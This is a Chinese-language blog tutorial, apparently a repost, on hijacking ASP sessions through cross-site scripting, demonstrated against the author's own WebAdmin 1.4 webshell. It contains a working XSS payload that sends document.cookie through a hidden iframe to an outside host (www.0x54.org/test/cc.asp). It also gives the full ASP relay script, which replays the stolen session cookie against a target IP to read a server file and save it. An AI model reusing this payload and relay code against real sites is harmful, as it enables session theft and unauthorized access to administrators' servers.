1. 程式人生 > >跨站實現HTTP會話劫持

跨站實現HTTP會話劫持

Web應用程式是通過2種方式來判斷和跟蹤不同使用者的:Cookie或者Session(也叫做會話型Cookie)。其中Cookie是儲存在本地計算機上的,過期時間很長,所以針對Cookie的攻擊手段一般是盜取使用者Cookie然後偽造Cookie冒充該使用者;而Session由於其存在於服務端,隨著會話的登出而失效(很快過期),往往難於利用。所以一般來說Session認證較之Cookie認證安全。

當然啦,Session難於利用並不等於不能利用,本文將通過一個小小的例子實現一次簡單的HTTP會話劫持。

還是以ASP為例,ASP程式是如何得到客戶端Session的呢?通過抓包可以發現HTTP請求的Cookie

欄位有個ASPSESSIONIDXXXXXXXXX是隨機的字母)值,ASP程式就是通過這個值判斷Session的。如果我們得到管理員的ASPSESSIONIDXXXXXXXX及其值,並在這次會話結束之前提交到伺服器,那麼我們的身份就是管理員啦!

那怎麼得到Session呢?答案是跨站。因為JavaScriptdocument.cookie()方法會把Cookie讀出來,當然也包括會話型Cookie

如果你關注Web安全,相信你一定看到過記錄跨站得到Cookie的指令碼程式,我們也需要一個類似的程式,但功能不是記錄,而是立即轉發(因為當前會話隨時可能由於管理員退出而失效)。這個程式可以用ASP

PHPPerl甚至C來實現,我還是用ASP吧J

要寫這個程式,你還必須對要攻擊的程式相當瞭解,因為你要提交各種請求。那現在先看看本例中被跨站的程式吧。

很榮幸,我選中了WebAdmin 1.4,嘿嘿,自己寫的程式自己肯定最清楚哪裡有漏洞啊。呵呵,簡要介紹一下,WebAdmin是一個ASP.Net下的webshell,使用的Session認證方式,1.4版本的跨站存在於目錄瀏覽的URL(圖1)。

所以我就在src中構造這樣的路徑:“E:<script>a='<iframe width=0 height=0 src=http://www.0x54.org/test/cc.asp?a=';a%2B=escape(document.cookie);a%2B='></iframe>';document.write(a);</script>

”。這段程式碼就是把當前cookie作為引數提交給www.0x54.org/test/cc.asp檔案。

cc.asp檔案內容如下:

<%

'only for test with CSS

str = request("a")

Set xPost = CreateObject("Msxml2.ServerXMLHTTP")

xPost.Open "GET", "http://222.210.115.125:813/webadmin.aspx?action=edit&src=E:/MyWeb/webadmin.aspx", False

xPost.setRequestHeader "Cookie",str

xPost.Send()

         Set sGet = CreateObject("ADODB.Stream")

         sGet.Mode = 3

         sGet.Type = 1

         sGet.Open()

         sGet.Write(xPost.responseBody)

         sGet.SaveToFile Server.MapPath("a.txt"),2

         set sGet = nothing

Set xPOST=nothing

%>

該檔案目的是獲取管理員Session並利用WebAdmin的檔案編輯功能檢視222.210.115.125(被攻擊的Web伺服器,其實是我本機啦)的E:/MyWeb/webadmin.aspx檔案內容並把內容儲存到本地的a.txt檔案中。資料的提交使用的是ServerXMLHTTP元件,它與XMLHTTP有相似之處,也有異同,具體的可以看看《ServerXMLHTTP vs XMLHTTP》。

準備就緒,先登陸WebAdmin然後再訪問構造好的跨站URL,呵呵,然後去看http://www.0x54.org/test/a.txt,得到內容如下圖所示:

 

你也可以試試直接訪問cc.asp,呵呵,生成的a.txt將是一個登陸介面的原始檔。

哈哈,現在熱烈慶祝一下本次HTTP會話劫持測試勝利閉幕,總的來說實行一次這樣的攻擊難度還是很大的,不過話又說回來,在技術這塊領域,除了Copy人家的程式碼,還有不需要努力就能做好的事情嗎?